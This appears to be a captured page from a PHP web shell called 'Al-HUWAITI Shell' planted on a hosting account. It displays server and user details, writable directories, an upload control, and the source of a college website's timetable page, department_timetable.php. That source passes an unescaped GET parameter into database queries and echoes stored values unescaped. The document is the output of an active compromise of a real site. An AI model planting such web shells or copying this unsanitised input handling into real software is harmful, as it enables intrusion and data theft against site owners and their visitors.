Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux server.xvl.jdw.mybluehostin.me 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : gcmknlac ( 1031)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/gcmknlac/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gcmknlac/public_html/department_timetable.php
<?php
include "config.php";

$subject = $_GET['subject'];
$subject_info = $db->selectRow('subjects', '*', $subject);
$syllabuses = $db->select('department_timetable', '*', array('subject'=>$subject));
?>
<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
	<title>Government College For Men, Kurnool</title>
	<!--/tags -->
	<meta name="viewport" content="width=device-width, initial-scale=1">
	
	<meta name="keywords" content="" />
	<script type="application/x-javascript">
		addEventListener("load", function () {
			setTimeout(hideURLbar, 0);
		}, false);

		function hideURLbar() {
			window.scrollTo(0, 1);
		}
	</script>
	<!--//tags -->
	<link rel="stylesheet" href="css/font-awesome.css">
		<link rel="stylesheet" href="css/sky-mega-menu.css"> 
        <link rel="stylesheet" href="css/demo.css">
	<link href="css/bootstrap.min.css" rel="stylesheet" type="text/css" media="all" />
	<link href="css/style.css" rel="stylesheet" type="text/css" media="all" />
	<link href="css/font-awesome.css" rel="stylesheet">
    <link href="css/style2.css" rel="stylesheet">
	<!-- //for bootstrap working -->
	<link href="//fonts.googleapis.com/css?family=Work+Sans:200,300,400,500,600,700" rel="stylesheet">

  <script src="js/jquery.min.js"></script>
  <script src="js/popper.min.js"></script>
  <script src="js/bootstrap.min.js"></script>

	<style>
table, table td, table th { border:1px solid #ddd; padding:6px;}
table>tbody>tr:nth-of-type(odd) {
	background-color: #f9f9f9
}

table tr:nth-of-type(1) {
	background-color: #eee;
}

table td h5,table th h5 {
  color:#990000;
  font-weight:bold;
  font-size: 16px;
  padding: 10px;
}
</style>	
</head>

<body style="background-color: #ffeee6">
	<?php include("includes/header.php"); ?>
		

  
	<div class="row">
		<div class="col-xl-3"  >
       <?php include("includes/dept-menu.php"); ?>
		</div>	
		
			
		


					<!--/.navbar-->
				
	<br><br><style type="text/css">
	ul{
		margin-left: 25px;
	}
	ul li{
		padding: 10px;
	}
</style>
		<div class="col-xl-9" style="font-size: 16px">
			
				<!-- banner -->	
				<br>	
							<!--Card system-->
					<div class="row">
					 		<div class="col-md-12">
					              <div class="card border-left-success shadow h-100 py-2">
					                <div class="card-body">
					                  <div class="row no-gutters align-items-center">
					                    <div class="col mr-2">
					                      <h4 style="text-transform: uppercase ">  <span class="design1">DEPARTMENT OF <?php echo $subject_info->subject; ?> Timetable</span> </h4>
												        <hr id="line">
					                    </div>
					                    
					                  </div>
					                  <!-- Department Profile -->
					                  
					                  	<img src="<?php echo $admin_url.$subject_info->banner; ?>">
					                  	<hr id="line">
					                  
					                  	<div class="row" style="font-size:14px; padding:15px;">
					                  	
                              <table style="width: 100%;">
                              <tbody>
                                <tr>
                                  <td style="text-align: center;"><h5>S.No.</h5></td>
                                  <td style="text-align: center;">
                                    <h5>Title</h5>
                                  </td>
                                  <td style="text-align: center;">
                                    <h5>Download</h5>
                                  </td>
                                </tr>
							<?php 
							$i = 1;
							foreach($syllabuses as $syllabus){ 
							?>		
                            <tr>
                                  <td style="text-align: center;"><b><p style="font-size:16px;color:#01315A;"><?php echo $i; ?></p></b></td>
                                  <td style="text-align: left;"><b><p style="font-size:16px;color:#01315A;"><?php echo $syllabus->title; ?></p></b></td>
                                  <td style="text-align: center;"><a class="btn btn-primary" target="_blank" href="<?php echo $admin_url.$syllabus->download; ?>">View</a></td>
                                </tr>
                            <?php $i++; } ?>	</tbody>
                            </table>

					                  
					                  </div>
					                  
					                  
                        
					              </div>
					            </div>
					        </div>
					               
					</div>
					
					         
		</div>	
</div>		
</div>
			
			
	<?php include("includes/footer.php"); ?>

<!-- modal -->
	
	<!-- //modal -->

	<a href="#home" class="scroll" id="toTop" style="display: block;"> <span id="toTopHover" style="opacity: 1;"> </span></a>
	<!-- js -->
	<script type="text/javascript" src="js/jquery-2.1.4.min.js"></script>

	<script type="text/javascript" src="js/bootstrap.js"></script>
	<!-- stats -->
	<script>
		$('.counter').countUp();
	</script>
	<!-- //stats -->
	<!-- owl carousel -->
	
	
	<!-- //owl carousel -->


</body>

</html>

Al-HUWAITI Shell